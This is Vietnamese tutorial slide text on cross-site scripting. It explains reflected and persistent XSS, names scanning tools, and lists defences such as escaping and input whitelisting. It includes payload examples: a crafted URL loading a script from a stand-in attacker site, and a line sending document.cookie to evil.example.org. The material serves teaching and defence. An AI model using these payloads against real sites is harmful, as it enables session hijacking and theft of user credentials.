Lỗi XSS - Cross-Site Scripting
Khái niệm•Lỗi XSS xảy ra khi một ứng dụng nhận vào những dữ liệu không đáng tin và gửi những dữ liệu đấy cho trình duyệt của người dùng
• Ví dụ:một đoạn Javascript:<script%20src="http://mallorysevilsite.com/authstealer.js">
•Lỗi XSS thường giúp người khai thác chiếm phiên đăng nhập của người dùng, “deface” trang web hay dẫn người dùng đến những trang web lừa đảo
A dùng trang web của B
Trang web của B cho phép A lập tài khoản và chứa những thông tin riêng tư
Trang web của B có lỗi XSS trong chức năng tìm kiếm
http://bobssite.org?q=search term
search term
Non-persistentVí dụ
• Chức năng tìm kiếm của trang web khi nhận được một query:
• Trang web sẽ hiện ra
"http://bobssite.org?q=puppies
http://bobssite.org?q=puppies
puppies
puppies not found
• Chức năng tìm kiếm của trang web khi nhận được một query bất thường như:
• Trang web sẽ hiện ra
<script type='text/javascript'>alert('pwnd');</script>
http://bobssite.org?q=<script…
<script ….
<script …. not foundpwnd
• C tìm ra lỗi này của trang web B
• C tạo ra URL
• C gửi URL cho những thành viên của trang web B
http://bobssite.org?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js">
Check out this cute puppy. http://bobssite.org?q=puppies<script%20….
From: [email protected]
•A nhận được email và click vào link
•Link dẫn đến trang web của B và hiện ra “puppies not found”
•Script authstealer.js trong URL được thực hiện
•Script này lấy thông tin xác thực của A và gửi cho trang web của C
Ví dụ: một đoạn trong authstealer.jsnew Image().src ='http://evil.example.org/steal.php?cookies=' + encodeURI(document.cookie);
Persistent
Với dạng Persistent, đoạn mã chèn thêm vào được lưu trữ trên server, như trong CSDL dưới dạng các comment trong blog, message trong forum hoặc các visitor log.
• Thay vì nhập vào lời nhắn bình thường, ta nhập vào đoạn mã sau:
• Kết quả
Xin <script>alert(“XSS”)</script>chào!
Công cụ tìm kiếm lỗi XSS
Có khá nhiều công cụ miễn phí và thương mại để tìm kiếm lỗi XSS
Grabber
ZAP (OWASP)
Wapiti
• “Escape” tất cả những dữ liệu không đáng tin cậy một cách hợp lý khi dữ liệu được đưa vào
• Ví dụ:
• Tham khảo thêm về HTML escaping:
• Lập danh sách những dữ liệu được phép nhập vào• Ví dụ: Chỉ được nhập chữ cái, không được nhập ký tự đặc biệt
• Với những dữ liệu như hình ảnh, video, có thể dùng những thư viện kiểm tra tự động như AntiSamy (OWASP)
& --> & < --> < > --> >
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
Tham khảo thêm về dự án AntiSamy: https://www.owasp.org/index.php/AntiSamy
Cách phòng chống